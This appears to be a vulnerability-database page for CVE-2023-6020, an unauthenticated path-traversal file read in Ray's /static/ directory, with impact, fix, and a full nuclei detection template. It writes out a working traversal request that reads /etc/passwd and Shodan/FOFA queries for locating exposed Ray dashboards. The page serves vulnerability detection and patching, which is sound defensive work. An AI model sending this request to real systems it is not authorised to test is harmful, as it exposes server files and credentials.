HexBrain

Browse / CVEs / CVE-2023-6020

CVE-2023-6020· ray project / ray· CWE-862

Ray Static File - Local File Inclusion

highseverity
7.5CVSS score
14.7%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it

LFI in Ray's /static/ directory allows attackers to read any file on the server without authentication.

Impact

Unauthenticated attackers can read any file on the server via path traversal in the /static/ directory, potentially exposing sensitive configuration files and credentials.

Fix

Update Ray to a patched version that restricts static file access.

How to confirm it

Send: GET {{BaseURL}}/static/js/../../../../../../../../../../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND contains in header "application/octet-stream" and "aiohttp" AND status 200

Run it with nuclei: nuclei -id CVE-2023-6020 -u <target>

The full check
id: CVE-2023-6020

info:
  name: Ray Static File - Local File Inclusion
  author: byt3bl33d3r
  severity: high
  description: |
    LFI in Ray's /static/ directory allows attackers to read any file on the server without authentication.
  impact: |
    Unauthenticated attackers can read any file on the server via path traversal in the /static/ directory, potentially exposing sensitive configuration files and credentials.
  remediation: |
    Update Ray to a patched version that restricts static file access.
  reference:
    - https://huntr.com/bounties/83dd8619-6dc3-4c98-8f1b-e620fedcd1f6/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6020
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-6020
    cwe-id: CWE-862
    epss-score: 0.14652
    epss-percentile: 0.96686
    cpe: cpe:2.3:a:ray_project:ray:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: ray_project
    product: ray
    shodan-query:
      - http.favicon.hash:463802404
      - http.html:"ray dashboard"
    fofa-query:
      - body="ray dashboard"
      - icon_hash=463802404
  tags: cve2023,cve,lfi,ray,oos,ray_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/static/js/../../../../../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header
        words:
          - "application/octet-stream"
          - "aiohttp"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from